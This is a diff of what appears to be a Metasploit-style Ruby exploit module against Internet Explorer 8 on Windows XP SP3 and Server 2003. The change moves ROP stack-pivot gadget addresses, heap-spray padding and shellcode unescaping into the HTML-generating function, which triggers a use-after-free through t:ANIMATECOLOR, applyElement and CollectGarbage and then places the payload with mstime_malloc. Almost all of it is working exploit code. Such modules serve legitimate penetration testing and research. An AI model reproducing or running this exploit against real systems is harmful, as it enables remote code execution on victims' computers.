@@ -122,23 +122,7 @@ def get_target(agent)
122
122
123
123
def ie8_smil ( my_target , p )
124
124
125
- case my_target [ 'Rop' ]
126
- when :msvcrt
127
- case my_target . name
128
- when 'IE 8 on Windows XP SP3'
129
- align_esp = Rex ::Text . to_unescape ( [ 0x77c4d801 ] . pack ( "V*" ) ) # ADD ESP, 2C; RET
130
- xchg_esp = Rex ::Text . to_unescape ( [ 0x77c15ed5 ] . pack ( "V*" ) ) # XCHG EAX, ESP, RET
131
- when 'IE 8 on Windows Server 2003'
132
- align_esp = Rex ::Text . to_unescape ( [ 0x77bde7f6 ] . pack ( "V*" ) )
133
- xchg_esp = Rex ::Text . to_unescape ( [ 0x77bcba5e ] . pack ( "V*" ) )
134
- end
135
- else
136
- align_esp = Rex ::Text . to_unescape ( [ 0x7C3445F8 ] . pack ( "V*" ) )
137
- xchg_esp = Rex ::Text . to_unescape ( [ 0x7C348B05 ] . pack ( "V*" ) )
138
- end
139
125
140
- padding = Rex ::Text . to_unescape ( Rex ::Text . rand_text_alpha ( 4 ) )
141
- js_payload = Rex ::Text . to_unescape ( p )
142
126
143
127
js = %Q|
144
128
unicorn = unescape("#{ padding } ");
@@ -286,45 +270,69 @@ def get_payload(t, cli)
286
270
287
271
def load_exploit_html ( my_target , cli )
288
272
289
- p = get_payload ( my_target , cli )
290
- js = ie8_smil ( my_target , p )
273
+ case my_target [ 'Rop' ]
274
+ when :msvcrt
275
+ case my_target . name
276
+ when 'IE 8 on Windows XP SP3'
277
+ align_esp = Rex ::Text . to_unescape ( [ 0x77c4d801 ] . pack ( "V*" ) ) # ADD ESP, 2C; RET
278
+ xchg_esp = Rex ::Text . to_unescape ( [ 0x77c15ed5 ] . pack ( "V*" ) ) # XCHG EAX, ESP, RET
279
+ when 'IE 8 on Windows Server 2003'
280
+ align_esp = Rex ::Text . to_unescape ( [ 0x77bde7f6 ] . pack ( "V*" ) )
281
+ xchg_esp = Rex ::Text . to_unescape ( [ 0x77bcba5e ] . pack ( "V*" ) )
282
+ end
283
+ else
284
+ align_esp = Rex ::Text . to_unescape ( [ 0x7C3445F8 ] . pack ( "V*" ) )
285
+ xchg_esp = Rex ::Text . to_unescape ( [ 0x7C348B05 ] . pack ( "V*" ) )
286
+ end
287
+
288
+ padding = Rex ::Text . to_unescape ( Rex ::Text . rand_text_alpha ( 4 ) )
289
+ js_payload = Rex ::Text . to_unescape ( get_payload ( my_target , cli ) )
291
290
292
- html = %Q|
293
- <!doctype html>
291
+ html = %Q|<!doctype html>
294
292
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
295
293
<head>
296
294
<meta>
297
295
<?IMPORT namespace="t" implementation="#default#time2">
298
296
</meta>
299
297
300
298
<script>
301
- function helloWorld()
302
- {
299
+ #{ js_mstime_malloc }
300
+
301
+
302
+ function helloWorld() {
303
303
e_form = document.getElementById("formelm");
304
304
e_div = document.getElementById("divelm");
305
305
306
- #{ js }
307
-
308
306
for(i =0; i < 20; i++) {
309
307
document.createElement('button');
310
308
}
311
- e_div.appendChild(document.createElement('button'))
309
+ e_div.appendChild(document.createElement('button'));
312
310
e_div.firstChild.applyElement(e_form);
313
311
314
- e_div.innerHTML = ""
312
+ e_div.innerHTML = "";
315
313
e_div.appendChild(document.createElement('body'));
316
314
317
- CollectGarbage();
315
+ CollectGarbage();
318
316
319
- try {
320
- a = document.getElementById('myanim');
321
- a.values = animvalues ;
317
+ p = unescape(" #{ padding } ");
318
+ for (i=0; i < 3; i++) {
319
+ p += unescape(" #{ padding } ") ;
322
320
}
323
- catch(e) {}
324
- }
321
+ p += unescape("#{ js_payload } ");
325
322
323
+ fo = unescape("#{ align_esp } ");
324
+ for (i=0; i < 55; i++) {
325
+ if (i == 54) { fo += unescape("#{ xchg_esp } "); }
326
+ else { fo += unescape("#{ align_esp } "); }
327
+ }
328
+
329
+ fo += p;
330
+
331
+ mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
332
+ }
326
333
</script>
327
334
</head>
335
+
328
336
<body onload="eval(helloWorld())">
329
337
<t:ANIMATECOLOR id="myanim"/>
330
338
<div id="divelm"></div>
0 commit comments